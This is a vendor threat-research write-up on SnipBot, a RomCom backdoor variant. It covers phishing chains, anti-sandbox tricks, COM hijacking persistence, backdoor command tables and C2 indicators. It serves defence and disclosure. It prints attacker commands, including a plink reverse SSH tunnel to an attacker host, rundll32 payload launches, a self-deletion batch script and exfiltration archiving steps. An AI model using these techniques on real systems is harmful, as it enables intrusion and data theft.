MALWARE

Inside SnipBot: The Latest RomCom Malware Variant

18 min read

RELATED PRODUCTS

- Advanced Threat Prevention
- Advanced WildFire
- Cloud-Delivered Security Services
- Cortex
- Cortex XDR
- Next-Generation Firewall
- Unit 42 Incident Response

By: Yaron Samuel , Dominik Reichel

Published: September 23, 2024

Categories: Malware , Threat Research

Tags: Backdoor , RomCom , SnipBot

Share

TABLE OF CONTENTS

Executive Summary

We recently discovered a novel version of the RomCom malware family called SnipBot and, for the first time, show post-infection activity from the attacker on a victim system. This new strain makes use of new tricks and unique code obfuscation methods in addition to those seen in previous versions of RomCom 3.0 and PEAPOD (RomCom 4.0).

In early April, our sandbox Advanced WildFire discovered an unusual DLL module that turned out to be part of a broader tool set called SnipBot. By examining the malware sample and using Cortex XDR telemetry data, we were able to reconstruct the infection chain and the attacker's subsequent actions.

We also discovered more related malware strains dating back to December 2023. Although the aim of the attacker is unknown, the behavior we observed indicates an attempt to pivot through the victim's network and exfiltrate certain files.

SnipBot gives the attacker the ability to execute commands and download additional modules onto a victim's system. It is a new version of the RomCom malware that is mainly based on **RomCom 3.0**. However, it also contains techniques seen in its offshoot **PEAPOD** called RomCom 4.0 by Trend Micro. Therefore, we've assigned it version 5.0.

This threat operates in several stages, with the initial downloader always being an executable, followed by further EXEs or DLLs. The downloader we observed was consistently signed with a valid code signing certificate that the threat actor likely obtained either through certificate theft or fraud to purchase a new certificate, while subsequent modules were unsigned.

In collaboration with Sophos, which initially found this new RomCom version in February during an incident, we investigated the malware's capabilities and gathered some knowledge about the attackers' activity on a victim's system.

Palo Alto Networks customers are better protected from the SnipBot malware through products like **Cortex** and **Advanced WildFire**, with its different memory analysis features. Advanced WildFire classifies the SnipBot malware samples in this article as malicious. **Advanced URL Filtering** and **Advanced DNS Security** classify known URLs and domains associated with this activity as malicious.

RELATED ARTICLES

Operation Diplomatic Specter: An Active Chinese Cyberespionage Campaign Leverages Rare Tool Set to Target Governmental Entities in the Middle East, Africa and Asia

Threat Brief: Operation MidnightEclipse, Post-

Malware Background

RomCom RAT is a malware family that has evolved over the years to include different features and attack methods. The threat actor using RomCom has been active since at least 2022. They engage in **ransomware, extortion and targeted credential gathering**, likely to support intelligence-gathering operations. RomCom has made multiple advancements, leading to its newest iteration called SnipBot, which employs new commands and evasion techniques.

The SnipBot variant of RomCom leverages a basic set of features that allows the attacker to run commands on a victim's system and download additional modules. The initial payload is always either an executable downloader masked as a PDF file or an actual PDF file sent to the victim in an email that leads to an executable.

The earliest initial sample of SnipBot we found was a PDF file that shows distorted text that states a font is missing that's needed to show it correctly. If the victim clicks on the contained link that's purported to download and install the font package, they will instead download the SnipBot downloader.

SnipBot consists of several stages where the initial downloader is always an executable file and the remaining payloads are either EXEs or DLLs. The downloader is always signed with a legitimate and valid code signing certificate. We don't know how the threat actors obtain these certificates, but it's likely they steal them or gain them by fraud. Subsequent modules were not signed.

Email Infection Vector

By reviewing Cortex XDR telemetry data and reverse engineering the initial sample, we were able to recreate the whole infection chain. The initial infection vector in our case was an email that contained a link that redirects twice to the SnipBot downloader.

Figure 1 shows the chain of URLs from the initial one contained in the email to the final SnipBot downloader file link. The attacker registered the domains `fastshare[.]click` and `docstorage[.]link`. The website `temp[.]sh` is a legitimate file sharing service with a set hosting period of three days.

Illustration showing a sequence of URL redirects controlled by an attacker, starting from a link in an email, moving through multiple domains, and ending with a potentially malicious file download.

Figure 1. URL chain from the email to the downloader (icon sources).

We discovered another chain of links that was likely used by the same attacker to deliver a similar SnipBot downloader variant. The distinct initial domain and the similar downloader file name imply this was part of a campaign targeting multiple victims.

Figure 2 shows another chain of URLs used in another attack. The attacker created the domain `publicshare[.]link`; it is not a legitimate file sharing service.

Diagram showing the redirection of an email link through attacker-controlled domains. The email contains a link to "publicshare.link," which redirects to "dvr.docstorage.link," and finally redirects to "temp.sh/Attachment_Medical." There are question mark symbols and chain link icons indicating the uncertain security and connection between the domains.

Figure 2. Different URL chain from the email to the downloader (icon sources).

SnipBot Malware

Figure 3 shows the infection chain of the different SnipBot stages. The initial downloader `Attachment_Medical report.exe` is a 64-bit Windows executable (SHA256: `57e59b156a3ff2a3333075baef684f49c63069d296b3b036ced9ed781fd42312`) disguised as a PDF file. It is signed with a presumably stolen or spoofed certificate from `CC Byg og Udlejning ApS`, which is a company located in Denmark.

Flowchart depicting a cybersecurity attack involving multiple entities, including email with an attachment, a website, PDF files, various executable files, and registry processes. The diagram illustrates the sequence of events in the attack through arrows connecting these elements.

Figure 3. SnipBot execution flow from the initial EXE downloader to the main bot file `single.dll` (icon sources).

This downloader uses two simple yet effective anti-sandbox tricks. The first one checks for the original file name by comparing the hashed process name against a hard-coded value. The second one checks whether there are at least 100 entries in the `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` registry key, which is usually the case on a regular user's system but less likely to be the case in a sandbox system.

Image titled 'Anti-Sandbox Techniques' listing two methods: 1) Check for original file/process name, 2) Check if at least 100 values exist in the RecentDocs in Explorer.

Figure 4 shows the `RecentDocs` registry key of a typical Windows system with more than 100 values present.

Screenshot of Registry Editor on a Microsoft Windows computer showing various keys and their data types under the 'Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs' directory.

Figure 4. `RecentDocs` registry key of a typical Windows system.

The downloader is also obfuscated with a window message-based control-flow obfuscation algorithm. The malware code is split up into multiple unordered blocks that are triggered by custom window messages.

To accomplish this, a window is created that has a callback message that contains these code blocks. The window message queue is used to call each block in its original order.

Anti-Emulation Technique. The malware uses a window message based control, flow, obfuscation method, where the code is divided into unordered blocks, and their execution is triggered on custom window messages.

Most of the strings, such as the command and control (C2) domain name and all the names of dynamically resolved API functions, are encrypted. The threat actor likely did this to prevent easy static detection, thus making malware analysis more time-consuming.

Upon execution, the downloader contacts the first C2 domain `xeontime[.]com` and tries to get a PDF file and the first payload. We couldn't recover the original downloaded first payload, but for an unknown reason, the attacker later downloaded the same payload with different configuration data and started it manually. We were able to obtain this file and could continue our analysis.

The threat downloads the PDF to the local user's temporary folder with a random name before opening it. The first payload is a DLL file (internally named `config-pdf.dll`) that the threat executes in memory. It has an exported function named `GetStore` that contains its malicious code.

This DLL file's purpose is to download the next stage **COM** DLL named `keyprov.dll` from the second C2 `drvmcprotect[.]com` and inject it into Explorer. For this, it uses COM hijacking to register the file as the thumbnail cache library in the registry hive of the current user.

When restarting `explorer.exe`, the DLL gets loaded into its address space and executed. While this is a reliable method of loading a payload into Explorer, forcing it to terminate can result in a crash, as it did on the victim's machine.

Explorer Injection via COM Hijacking. This involves the malware creating a Windows registry key to interfere with Explorer.exe's behavior, accompanied by Command Prompt commands related to the process.

Figure 5 illustrates how the registered COM DLL `keyprov.dll` loads into `explorer.exe` after restarting.

Screenshot showing multiple open windows on a desktop related to computer file management and system monitoring. Visible applications include Task Manager, File Explorer with a file named 'keylogger.exe', and a properties window for system32 directory. Arrows are used to highlight specific items and processes in the applications.

Figure 5. Explorer Injection via COM hijacking as shown with Process Hacker 2.

To download the COM DLL from the C2 server, `config-pdf.dll` sends the command `get_update_manager2`. Additionally, the first payload gets a second encrypted DLL by sending the command `get_update_inet2`.

This payload (internally named `single.dll`) gets stored in the registry in the key `HKCU\SOFTWARE\AppDataSoft\Software` as a binary value named `trem1`. At last, in the same registry key, the threat creates another binary value named `trem3` that contains the string `UPDE1`. The threat likely uses this value to keep track of the number of updates for the registry payloads.

After `keyprov.dll` gets loaded into Explorer, it tries to imitate a real COM provider. It is able to do so as it's an ordinary DLL

The threat's first task is to decrypt and execute two DLL payloads from the registry values `trem1` and `trem2`. In our case, only the payload stored in `trem1` got downloaded from the C2 server.

The second task is to listen on port 1342 for the following incoming string commands sent over TCP. Table 1 shows the commands implemented in `keyprov.dll` related to the bot's operation.

Command	Description

delete bot	Delete the following registry keys:
	`HKCU\SOFTWARE\AppDataSoft\Software`
	`HKCU\SOFTWARE\AppDataSoft`
	`HKCU\SOFTWARE\Classes\CLSID\{2155fee3-2419-4373-b102-6843707eb41f}\InprocServer32`
	`HKCU\SOFTWARE\Classes\CLSID\{2155fee3-2419-4373-b102-6843707eb41f}`
	Create a BAT file `%LOCALAPPDATA%\temp.cmd` with content:
	`:rep\r\ntimeout 5\r\nrmdir /Q /S %1\r\nif not errorlevel 0 goto rep\r\ndel /q %0\r\n`
	Create the following string to run the batch file via `CreateProcess`:
	C:\Users\<username>\AppData\Local\temp.cmd C:\Users\<username>\AppData\Local\KeyStore
	Restart the Explorer to unload any payloads:
	`cmd /C taskkill /f /im explorer.exe && start explorer.exe`

update bot work	Decrypt and execute the payload stored in the `trem2` value
start bot file	Decrypt and execute the payload stored in the `trem2` value

Table 1. Commands for `keyprov.dll`'s network listener.

The main SnipBot file `single.dll` is a backdoor that gives the attacker multiple options to execute commands or download and run additional payloads. All strings are encrypted, with each having its own decryption key.

The file created a mutex named `SnipMutex`, from which the malware's name is derived. For the initial C2 contact, the threat sends a string that is made from the following information collected from the victim's system:

- Computer/domain name
- MAC address
- Windows build number
- Whether the machine is a Windows server

Table 2 shows 27 commands in SnipBot's main module `single.dll`.

Command	Description
`0x1`	Get the total and free bytes of all available drives (RAM disk, CD-ROM, network, fixed/removable media, unknown) and send the information to the C2 server
`0x2`	Get the file and directory structure of an attacker-provided directory path and send the result to the C2 server
`0x3`	• Run an attacker-provided command-line command with a hidden cmd.exe process and then terminate `cmd.exe`

	`%LOCALAPPDATA%\temp-log` • Return the string completed to the C2 when successful

`0xC`	• Execute `SnippingTool.dll` via `rundll32.exe` and the argument single:
	`rundll32.exe %LOCALAPPDATA%\KeyStore\SnippingTool.dll,Main single`
	• Send `SnippingTool.zip` to the C2 server, which is presumably the output of `SnippingTool.dll`, and then delete the file:
	`%LOCALAPPDATA%\KeyStore\SnippingTool.zip`

`0xD`	• Execute `SnippingTool.dll` via `rundll32.exe` and an attacker-provided argument: `rundll32.exe %LOCALAPPDATA%\KeyStore\SnippingTool.dll,Main <AttackerProvidedArg>` • Return the string completed to the C2 when successful

`0xE`	• Rename `SnippingTool.zip` to `SnippingTool_s.zip`:
	`%LOCALAPPDATA%\KeyStore\SnippingTool.zip`
	`→ %LOCALAPPDATA%\KeyStore\SnippingTool_s.zip`
	• Send `SnippingTool_s.zip` to the C2 server and delete the file:
	`%LOCALAPPDATA%\KeyStore\SnippingTool_s.zip`

`0xF`	Send a list of running processes (file names) and their IDs to the C2 server
`0x11`	• Delete the bot by sending delete bot string command to the `keyprov.dll` network listener • Return the string completed to the C2 when successful
`0x12`	• Download an additional payload `SnippingTool.dll` from the C2 server to disk: `%LOCALAPPDATA%\KeyStore\SnippingTool.dll` • Return the string completed to the C2 when successful

`0x13`	• Create the directory `DataCache`:
	`\%LOCALAPPDATA%\DataCache`
	• Download additional payload `FontCache.dll` from the C2 server to disk:
	`%LOCALAPPDATA%\DataCache\FontCache.dll`
	• Execute the payload `FontCache.dll` via `rundll32.exe`:

0x14	• Download the file `ms-win-tmp.zip` from the C2 server to disk: `%LOCALAPPDATA%\KeyStore\ms-win-tmp.zip` • Unpack `ms-win-tmp.zip` with a built-in unpacker to `%LOCALAPPDATA%\KeyStore` • Return the string completed to the C2 when successful • Delete the file `ms-win-tmp.zip`: `%LOCALAPPDATA%\KeyStore\ms-win-tmp.zip`

0x15	• Create a hidden `cmd.exe` process to set up a SOCKS proxy with `socks5.exe` and the following commands:
	`cd /d %LOCALAPPDATA%\KeyStore\`
	`socks5.exe 54321`
	• Create another hidden `cmd.exe` process to set up an SSH tunnel via `plink.exe`:
	`%LOCALAPPDATA%\Keystore\plink.exe -ssh -pw <AttackerProvidedPassword> -R <AttackerProvidedPort>:127.0.0.1:54321 john@<AttackerProvidedAddress> -P <AttackerProvidedRemotePort>`
	• Return the following string to the C2 server:
	`started on - <AttackerProvidedAddress>:<AttackerProvidedRemotePort> <AttackerProvidedPassword>`

0x16	• Terminate the processes `socks5.exe` and `plink.exe`
	• Delete the files `ms-proxy.exe` and `svcnet.exe`:
	`%LOCALAPPDATA%\KeyStore\ms-proxy.exe`
	`%LOCALAPPDATA%\KeyStore\svcnet.exe`
	• Return the string completed to the C2 when successful

0x18	Upload all files from the `%LOCALAPPDATA%\Datacache\` directory to the C2 server and delete them afterwards.
0x1A	Create a hidden `cmd.exe` process and wait for incoming `0x1B` commands
0x1B	Run an attacker-provided command to the already running hidden `cmd.exe` process and send the output to the C2 server
0x1C	• Terminate the process into which `single.dll` was loaded (`explorer.exe` or `rundll32.exe`) • Return the string completed to the C2 when successful
0x20	Upload all files with the extensions TXT, RTF, XLS, XLSX, ODS, CMD, PDF, VBS, PS1, ONE, KDB, KDBX, DOC, DOCS, ODT, EML, MSG and EMAIL from the following directories to the C2 server: • `%\USERPROFILE%\Downloads` • `%USERPROFILE%\Desktop` • `%USERPROFILE%\Documents`

	• Run 7-Zip to create an archive of `tempFolder`, which is presumably the output produced by `paper.exe`:
	`%PUBLIC%\Libraries\7za.exe a -tzip`
	`%PUBLIC%\Libraries\archi.zip -w`
	`%PUBLIC%\Libraries\tempFolder`
	• Return the string completed to the C2 when successful

`0x29`	• Run 7-Zip to create an archive of `tempFolder` (if `archi.zip` not present), presumably, the output produced by the payload `paper.exe`:
	`%PUBLIC%\Libraries\7za.exe a -tzip`
	`%PUBLIC%\Libraries\archi.zip -w`
	`%PUBLIC%\Libraries\tempFolder`
	• Send the result (`archi.zip`) to the C2 server and delete the files:
	`%PUBLIC%\Libraries\7za.exe`
	`%PUBLIC%\Libraries\archi.zip`
	`%PUBLIC%\Libraries\paper.exe`

`0x2A`	• Download 7-Zip from the C2 server to disk: `%LOCALAPPDATA%\KeyStore\7za.exe` • Return the string completed to the C2 when successful

`0x2B`	• Run 7-Zip to create an archive of the attacker-provided path:
	`%LOCALAPPDATA%\KeyStore\7za.exe a -tzip %LOCALAPPDATA%\KeyStore\archiveSSL.zip -w`
	`<C2ProvidedPath>`
	• Send the result (`archiveSSL.zip`) to the C2 server and delete the files:
	`%PUBLIC%\Libraries\7za.exe`
	`%PUBLIC%\Libraries\archiveSSL.zip`

`0x2C`	• Traverse all processes including system ones, search for one containing the module `SnippingTool.dll` and terminate it • Return the string completed to the C2 when successful • Delete the payload `SnippingTool.dll`: `%LOCALAPPDATA%\KeyStore\SnippingTool.dll`
`0x2D`	• Download additional payload `InfoWind.dll` from the C2 server to disk: `%LOCALAPPDATA%\KeyStore\InfoWind.dll`

```
rundll32.exe %LOCALAPPDATA%\KeyStore\InfoWind.dll,stw
```

- Send `tempol.zip` to the C2 server, which is presumably the output of `InfoWind.dll` and delete the files:

```
%LOCALAPPDATA%\KeyStore\7za.exe

%LOCALAPPDATA%\KeyStore\tempol.zip
```

Table 2. Supported commands of SnipBot's main module `single.dll`.

The main module provides the operator with command-line, uploading and downloading capabilities on a victim's system. It also allows an attacker to download and execute the following additional payloads from the attacker's server:

- `SnippingTool.dll`
- `FontCache.dll`
- `InfoWind.dll`
- `paper.exe`
- `socks5.exe`
- `ms-proxy.exe`
- `svcnet.exe`
- `plink.exe`

While these file names imply what the payloads might do, we can only speculate about their purposes. We haven't seen any of these files dropped on a victim's system during our investigation.

When someone sends a command that the threat does not support, it sends the string `command: <CmdNumber> does not exist` back to the C2 server.

Newer Downloader Versions

While conducting analysis for this post, we monitored VirusTotal for any newly submitted downloader samples. We found five newer versions that are almost identical in function, but they differ in their implementation. All samples were hosted on `temp[.]sh`, which seems to be a preferred file sharing service of the attacker.

The newest version differs in the set of dynamically resolved API functions compared to the downloader from our case. Also, the window message-based obfuscation code was removed.

The newest sample of this version we found was named `Attachment_CV_June2024.exe` (SHA256: `5390ba094cf556f9d7bbb00f90c9ca9e04044847c3293d6e468cb0aaeb688129`) and it connected to the C2 domain `linedrv[.]com` to download the decoy PDF and next stage payload.

We found a slightly older sample named `atch_Medical_Report_Scan05202024.exe` (SHA256: `0be3116a3edc063283f3693591c388eec67801cdd140a90c4270679e01677501`), that had the same signer and the C2 domain `drv2ms[.]com`.

The last sample, whose filename is unknown (SHA256: `2c327087b063e89c376fd84d48af7b855e686936765876da2433485d496cb3a4`), was signed by Hangzhou Yueju Apparel Co., Ltd. and it also contacted `drv2ms[.]com`.

The second most recent version we found has a few window-related API functions left in the code, but the threat actors did not use them for any obfuscation techniques. This version used another anti-sandbox trick by checking whether there are at least 50 sub-keys in the Shell Bags registry key, which is a typical number for a user system. Shell Bags are stored configuration settings within the registry that remember folder display preferences, such as position, size and view mode in Windows Explorer.

Anti-Sandbox Technique. The instruction to check if at least 50 sub-keys exist in the specified path.

5c71601717bed14da74980ad554ad35d751691b2510653223c699e1f006195b8) that was also signed by Hangzhou Yueju Apparel Co., Ltd., and it connected to olminx[.]com.

Earlier Versions

The earliest version of SnipBot we could find was submitted from Ukraine to VirusTotal in December 2023. The initial infection vector was a PDF file named резюме.pdf. When opened, a message box appears saying the font package AdSlavicF is missing, luring the victim into clicking on the link to install it and show the content correctly.

Figure 6 shows the PDF content with the unresolved text and the message indicating to click on the URL on top. When the victim clicks the link, they're redirected to the website adobe.cloudcreative[.]digital/downloads/adobe/fontpackage/, which is meant to look like a legitimate Adobe site.

The name and logo shown are the work of a threat actor attempting to impersonate a legitimate organization. They do not represent an actual affiliation with that organization. The threat actor's impersonation does not imply a vulnerability in the legitimate organization's products or services.

Error message displayed in Adobe Acrobat Reader indicating, "Cannot find or create the font 'AdSlavicF'. Some characters may not display or print correctly," with an 'OK' button.

Figure 6. PDF lure document leading to the SnipBot downloader.

Figure 7 shows the landing page at adobe.cloudcreative[.]digital impersonating the legitimate Adobe download site. When the victim clicks on the "Download Font Package" button, a file download dialog appears.

Screenshot of a fake Adobe Font Package webpage, featuring a light pink and white color scheme with illustrations and icons that explain various features such as view, store & share, fill and sign, give and get feedback, and work from anywhere. Download options and promotional texts are also visible.

Screenshot of a fake Adobe software installation process on a computer screen. The left side shows a "Download and launch Adobe software" step marked as complete at 100% with an icon of a downward arrow on a box. The right side shows a "Finish installation" step with an icon representing a monitor and an Adobe package, indicating the software installation is in progress.

Figure 8. Download dialog of a fake Adobe website leading to the SnipBot downloader.

The executable AdobeFontPackCx6416.exe (SHA256: `cfb1e3cc05d575b86db6c85267a52d8f1e6785b106797319a72dd6d19b4dc317`) is an earlier and simpler version of the initial downloader from our incident. It also has a PDF icon, and it is signed with a valid certificate by `COSMART LLC`.

The downloader checks for the original filename for full execution and dynamically resolves all functions by API hashing. It connects to the C2 server at `ilogicflow[.]com` to download the next stage, which we couldn't obtain as the server wasn't online anymore.

The file also seems to download a real font named `AdSlavicF.ttf` to the same directory as the SnipBot downloader and install it via `InstallFontFile` from the Windows library `fontext.dll`. We can't verify if this is the missing font that makes the document's content visible or just a random one used to make the chain of events look more legitimate.

We also found an earlier version of `config-pdf.dll` (SHA256: `b9677c50b20a1ed951962edcb593cce5f1ed9c742bc7bff827a6fc420202b045`) submitted from Ukraine to VirusTotal in January 2024. This version is not a DLL file but an EXE file submitted as `webtime-e.exe`. This file connected to the C2 server at `webtimeapi[.]com` to download earlier versions of `keyprov.dll` and `single.dll`.

The earlier version of `keyprov.dll` was dropped as `libapi.dll` (SHA256: `9f635fa106dbe7181b4162266379703b3fdf53408e5b8faa6aeee08f1965d3a2`) and was also created as a COM DLL. Again, the threat used COM hijacking to register the file as the sync registration library in the registry hive of the current user and to load it into the Explorer.

Explorer Injection via COM Hijacking. It describes the process involving registry key creation and restarted Explorer to load a DLL. The image displays a series of command prompts and file paths related to computer programming.

The earlier version of `single.dll` was encrypted and stored in the registry key `HKCU\SOFTWARE\AppDataHigh\Software` as a binary value named `state1`. Also, it stored the string `UPDE1` in a binary value named `state2` under the same key.

Another sample of an earlier version named `CV_for_a_job.exe` (SHA256: `5b30a5b71ef795e07c91b7a43b3c1113894a82ddffc212a2fa71eebc078f5118`) was submitted to VirusTotal in February 2024. It was signed with a legitimate certificate from `KHAROS LLC`.

The file checks for the original process name and dynamically resolves functions by API hashing. It was hosted on the server resolved by the domain name `1drv.fileshare[.]direct`, a fake file sharing service set up by the attacker.

This sample drops and opens an embedded empty PDF file named `AdobeARM.log.pdf` instead of downloading it. It only connected to the C2 server at `certifysop[.]com` to download and execute the next stage payload from memory.

With the help of Cortex XDR telemetry data, we recreated post-infection activity from the attacker, which was mostly command-line commands. A timeline from the initial infection to the last seen command is shown below.

Figure 9 shows the attacker's post-infection behavior on April 4, which occurred over a period of roughly four hours.

Flowchart depicting the stages of a cyber attack using the MITRE ATT&CK framework, including "Malware Execution," "Discovery," "Delivery," and "Data Exfiltration." Detailed steps and commands are outlined for each stage, using colored circles and labeled lines to show the sequence and connections.

Figure 9. Timeline of post-infection attacker activity.

With the command-line functionality of SnipBot's main module `single.dll`, the attacker first tried to gather information about the company's internal network, including the domain controller. Afterwards, attackers attempted to exfiltrate a list of different files from the victim's documents, downloads and OneDrive folders to the server with the IP address `91.92.250[.]104`.

This server sent **AD Explorer** and **WinRAR** to the victim's system for the second discovery phase. Before the exfiltration, the attacker packed the files with WinRAR (renamed as `fsutil.exe`), while the actual data transfer to the server was achieved with the help of the PuTTY Secure Copy client (renamed as `dsutil.exe`).

Table 3 shows the file types that the attackers target for data exfiltration.

File type	Related Software/Description
db	SQLite database
bbk	Unclear, might be a TreePad backup file
dll	Windows dynamic-link library
mp4	MP4 digital media container
msi	Microsoft Software Installer
mp3	MP3 digital audio coding
wav	Waveform audio format
dbs	SQLBase database
exe	Windows executable
iso	Optical disk image
avi	Audio video interleave
onetoc2	Microsoft OneNote
dcm	Digital imaging and communications in medicine
zbf	Z-Buffer Radiance
che	Unclear, might be related to CHwinEHE software
mov	Quicktime multimedia container

`xdw`	DocuWorks
`zip`	Archive format
`hwp`	Hancom Office
`wmv`	Windows media video
`mpj`	Minitab
`des`	CorelDRAW
`mtw`	Minitab
`reg`	Windows registry
`mac`	Unclear, might be also Minitab
`cnt`	Windows help
`chm`	Windows compiled help
`hlp`	WinHelp
`mpg`	Digital video container
`mpeg`	Digital video container
`mkv`	Matroska container (duplicate)
`mts`	Advanced video coding high definition
`vob`	Video object container

Table 3. Exfiltrated file types.

This list of file types contains some unusual ones, making any conclusions about the attacker's motivation difficult. While some of the types appear to be standard files used to get more information about the victim's system, others appear to pertain to information about the victim's personal health (`ZBF`, `DCM`).

The data exfiltration attempt we observed didn't seem to run smoothly, as the attacker tried to kill the PuTTY process (`taskkill /pid 1628 /f`). Afterward, the attacker manually downloaded a new copy of `config-pdf.dll` to the victim's system and started it with `rundll32.exe`.

When we analyzed this file, we found this payload was the missing one downloaded from `xeontime[.]com`. However, this new version connected to a different C2 domain `cethernet[.]com` to get additional payloads or commands from the attacker.

One of the last activities we saw was that the attacker used AD Explorer (renamed as `fsutil.exe`) to create a snapshot of the local AD database. We do not know whether this was successful, as the victim's system was most likely a company laptop without any AD access.

Finally, in the second data exfiltration phase, the attacker used WinRAR to create an archive of all files contained in the folder `c:\essential\`. This is the last activity shown in XDR telemetry data. It's likely that the attacker abandoned the victim's system because its access to company sources was restricted, making it uninteresting for the attacker.

Characteristics

Looking at the malware's code, we can see that the authors implemented all functionality in a small number of very long functions. All files were coded in C++. The code contains a few minor flaws, indicating the attacker has experience as a Windows developer, but they are not seasoned professionals.

For example, Figure 10 shows the API function `CreateDirectory()` is called twice in a row, which appears to be a typical copy and paste mistake.

Screenshot of computer code in an editor, featuring lines that include function calls like CreateDirectoryA and string operations, with syntax highlighting in shades of blue, pink, and white.

Table 4 shows the C2 and staging domain information with the last active IP addresses.

C2/Staging Domains	Last IP Address
fastshare[.]click	52.72.49[.]79
(drv.)docstorage[.]link	212.46.38[.]222
publicshare[.]link	52.72.49[.]79
xeontime[.]com	91.92.250[.]240
drvmcprotect[.]com	91.92.254[.]54
mcprotect[.]cloud	185.225.74[.]94
cethernet[.]com	91.92.254[.]234
sitepanel[.]top	91.92.254[.]234
drv2ms[.]com	79.141.170[.]34
olminx[.]com	91.92.250[.]106
ilogicflow[.]com	23.184.48[.]90
webtimeapi[.]com	91.92.242[.]87
dns-msn[.]com	91.92.242[.]87
certifysop[.]com	23.137.248[.]220
linedrv[.]com	38.180.5[.]251
(adobe.)cloudcreative[.]digital	23.137.249[.]182
(1drv.)fileshare[.]direct	23.137.249[.]14

Table 4. C2/Staging domain name information.

Conclusion

With the detection capabilities of our advanced Windows sandbox memory scanning tool, we identified an unusual DLL module as part of a new RomCom version dating back to at least December 2023. This updated RomCom version called SnipBot uses a custom obfuscation technique and new anti-analysis tricks.

The attacker's intentions are difficult to discern given the variety of targeted victims, which include organizations in sectors such as IT services, legal and agriculture. While attackers have occasionally dropped **ransomware** on systems infected with RomCom in the past, this did not occur in our cases or in any of Sophos' incidents. We suspect this threat actor has shifted its aim away from pure financial gain toward **espionage**.

CERT-UA has also published further information about the threat actor behind SnipBot, including **other tools and indicators of compromise** (IoC).

This highlights the need for organizations to remain vigilant and adopt advanced security measures to protect their systems and data from evolving cyberthreats.

Palo Alto Networks customers are better protected from the SnipBot malware through products like **Cortex** and **Advanced WildFire**, with its different memory analysis features. Advanced WildFire classifies the SnipBot malware samples in this article as malicious. **Advanced URL Filtering** and **Advanced DNS Security** classify known URLs and domains associated with this activity as malicious.

If you think you might have been compromised or have an urgent matter, get in touch with the **Unit 42 Incident Response team** or call:

- North America Toll-Free: 866.486.4842 (866.4.UNIT42)

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the **Cyber Threat Alliance**.

We would like to thank Sophos for the collaboration.

Indicators of Compromise

Files (Read: SHA256 hash - file type)

- `0be3116a3edc063283f3693591c388eec67801cdd140a90c4270679e01677501` - 64-bit EXE
- `1cb4ff70f69c988196052eaacf438b1d453bbfb08392e1db3df97c82ed35c154` - 64-bit DLL
- `2c327087b063e89c376fd84d48af7b855e686936765876da2433485d496cb3a4` - 64-bit EXE
- `5390ba094cf556f9d7bbb00f90c9ca9e04044847c3293d6e468cb0aaeb688129` - 64-bit EXE
- `57e59b156a3ff2a3333075baef684f49c63069d296b3b036ced9ed781fd42312` - 64-bit EXE
- `5b30a5b71ef795e07c91b7a43b3c1113894a82ddffc212a2fa71eebc078f5118` - 64-bit EXE
- `5c71601717bed14da74980ad554ad35d751691b2510653223c699e1f006195b8` - 64-bit EXE
- `60d96087c35dadca805b9f0ad1e53b414bcd3341d25d36e0190f1b2bbfd66315` - 64-bit DLL
- `92c8b63b2dd31cf3ac6512f0da60dabd0ce179023ab68b8838e7dc16ef7e363d` - 64-bit DLL
- `a2f2e88a5e2a3d81f4b130a2f93fb60b3de34550a7332895a084099d99a3d436` - 64-bit EXE
- `b9677c50b20a1ed951962edcb593cce5f1ed9c742bc7bff827a6fc420202b045` - 64-bit EXE
- `cfb1e3cc05d575b86db6c85267a52d8f1e6785b106797319a72dd6d19b4dc317` - 64-bit EXE
- `e5812860a92edca97a2a04a3151d1247c066ed29ae6bbcf327d713fbad7e79e8` - 64-bit DLL
- `f74ebf0506dc3aebc9ba6ca1e7460d9d84543d7dadb5e9912b86b843e8a5b671` - PDF document

Mutex

- SnipMutex

Associated Domains/IP addresses

- `fastshare[.]click`
- `docstorage[.]link`
- `publicshare[.]link`
- `xeontime[.]com`
- `drvmcprotect[.]com`
- `mcprotect[.]cloud`
- `cethernet[.]com`
- `sitepanel[.]top`
- `ilogicflow[.]com`
- `webtimeapi[.]com`
- `dns-msn[.]com`
- `certifysop[.]com`
- `drv2ms[.]com`
- `olminx[.]com`
- `linedrv[.]com`
- `adobe.cloudcreative[.]digital`
- `1drv.fileshare[.]direct`
- `91.92.250[.]104`

Directory paths

- `%LOCALAPPDATA%\KeyStore`
- `%LOCALAPPDATA%\DataCache`

Code Signers (Possibly Spoofed)

- CC Byg og Udlejning ApS
- COSMART LLC
- KHAROS LLC
- Hangzhou Yueju Apparel Co., Ltd.
- ARION LLC

Back to top

TAGS

Backdoor RomCom SnipBot

Threat Research Center

Next: Discovering Splinter: A First Look at a New Post-Exploitation Red Team Tool

Related Malware Resources

THREAT RESEARCH
November 1, 2024
TA Phone Home: EDR Evasion Testing Reveals Extortion Actor's Toolkit
Extortion Data exfiltration
Read now

THREAT RESEARCH
October 9, 2024
Contagious Interview: DPRK Threat Actors Lure Tech Industry Job Seekers to Inst...
North Korea Social engineering Python

THREAT RESEARCH
October 1, 2024
Detecting Vulnerability Scanning Traffic From Underground Tools Using...
Machine Learning
Read now

THREAT ACTOR GROUPS
September 26, 2024
Unraveling Sparkling Pisces's Tool Set: KLogEXE and FPSpy
MITRE Keylogger North Korea
Read now